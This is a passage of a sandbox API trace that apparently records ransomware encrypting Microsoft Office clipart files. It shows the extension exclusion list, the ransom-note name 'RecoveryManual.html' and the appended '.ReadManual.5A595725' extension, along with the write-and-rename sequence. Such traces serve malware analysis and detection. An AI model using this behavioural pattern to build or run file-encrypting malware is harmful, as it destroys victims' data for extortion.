GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5315) returned 1 [0258.728] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14c3, lpName=0x0) returned 0x184 [0258.728] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.729] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.729] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.731] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.731] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14c3) returned 0x2f0000 [0258.731] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.731] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37939977589) returned 1 [0258.731] CloseHandle (hObject=0x184) returned 1 [0258.731] SetSecurityInfo () returned 0x57 [0258.731] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.731] CloseHandle (hObject=0x194) returned 1 [0258.732] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0258.732] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00157_.GIF" | out: lpString1="AG00157_.GIF") returned="AG00157_.GIF" [0258.732] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.732] StrStrIW (lpFirst="AG00157_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.732] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.732] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.732] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.732] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.732] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.732] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.732] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.732] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.732] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.733] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.733] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.733] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.733] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.733] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.733] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" [0258.733] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.ReadManual.5A595725" [0258.733] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.ReadManual.5A595725") returned 87 [0258.733] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37940311944) returned 1 [0258.734] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0258.735] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.735] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4955) returned 1 [0258.735] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x184 [0258.735] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.735] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.735] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.737] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.737] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0258.738] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.738] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37940645555) returned 1 [0258.738] CloseHandle (hObject=0x184) returned 1 [0258.738] SetSecurityInfo () returned 0x57 [0258.738] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.738] CloseHandle (hObject=0x194) returned 1 [0258.738] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0258.739] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00158_.GIF" | out: lpString1="AG00158_.GIF") returned="AG00158_.GIF" [0258.739] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.739] StrStrIW (lpFirst="AG00158_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.739] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.739] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.739] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.739] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.739] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.739] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.739] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.739] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.739] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.739] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.739] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.739] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.739] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.739] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.739] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" [0258.739] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.ReadManual.5A595725" [0258.739] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.ReadManual.5A595725") returned 87 [0258.739] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37940783055) returned 1 [0258.739] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0258.739] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.740] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5030) returned 1 [0258.740] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a6, lpName=0x0) returned 0x184 [0258.740] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.740] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.740] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.742] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.742] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a6) returned 0x2f0000 [0258.742] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.742] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37941125240) returned 1 [0258.743] CloseHandle (hObject=0x184) returned 1 [0258.743] SetSecurityInfo () returned 0x57 [0258.743] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.743] CloseHandle (hObject=0x194) returned 1 [0258.743] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0258.743] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00160_.GIF" | out: lpString1="AG00160_.GIF") returned="AG00160_.GIF" [0258.743] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.743] StrStrIW (lpFirst="AG00160_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.743] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.743] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.743] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.743] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.743] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.743] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.743] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.744] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.744] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.744] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.744] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.744] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.744] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.744] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.744] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" [0258.744] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.ReadManual.5A595725" [0258.744] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.ReadManual.5A595725") returned 87 [0258.744] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37941256442) returned 1 [0258.744] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0258.745] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.745] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1146) returned 1 [0258.745] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x47a, lpName=0x0) returned 0x184 [0258.745] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.746] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.746] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.748] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.748] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x47a) returned 0x2f0000 [0258.748] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.748] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37941669556) returned 1 [0258.748] CloseHandle (hObject=0x184) returned 1 [0258.748] SetSecurityInfo () returned 0x57 [0258.748] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.748] CloseHandle (hObject=0x194) returned 1 [0258.749] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0258.749] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00161_.GIF" | out: lpString1="AG00161_.GIF") returned="AG00161_.GIF" [0258.749] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.749] StrStrIW (lpFirst="AG00161_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.749] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.749] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.749] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.749] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.749] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.749] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.749] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.749] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.749] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.749] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.749] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.749] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.749] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.749] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.749] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" [0258.749] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.ReadManual.5A595725" [0258.749] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.ReadManual.5A595725") returned 87 [0258.749] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37941809578) returned 1 [0258.749] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0258.750] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.750] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7583) returned 1 [0258.750] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d9f, lpName=0x0) returned 0x184 [0258.750] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.750] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.750] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.752] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.752] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d9f) returned 0x2f0000 [0258.752] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.753] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37942134558) returned 1 [0258.753] CloseHandle (hObject=0x184) returned 1 [0258.753] SetSecurityInfo () returned 0x57 [0258.753] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.753] CloseHandle (hObject=0x194) returned 1 [0258.753] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0258.753] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00163_.GIF" | out: lpString1="AG00163_.GIF") returned="AG00163_.GIF" [0258.753] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.753] StrStrIW (lpFirst="AG00163_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.753] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.753] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.753] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.754] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.754] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.754] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.754] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.754] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.754] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.754] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.754] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.754] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.754] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.754] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.754] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" [0258.754] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.ReadManual.5A595725" [0258.754] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.ReadManual.5A595725") returned 87 [0258.754] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37942272472) returned 1 [0258.754] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0258.755] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.755] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6984) returned 1 [0258.755] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b48, lpName=0x0) returned 0x184 [0258.755] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.756] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.756] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.757] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.757] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b48) returned 0x2f0000 [0258.758] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.758] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37942641816) returned 1 [0258.758] CloseHandle (hObject=0x184) returned 1 [0258.758] SetSecurityInfo () returned 0x57 [0258.758] LocalFree 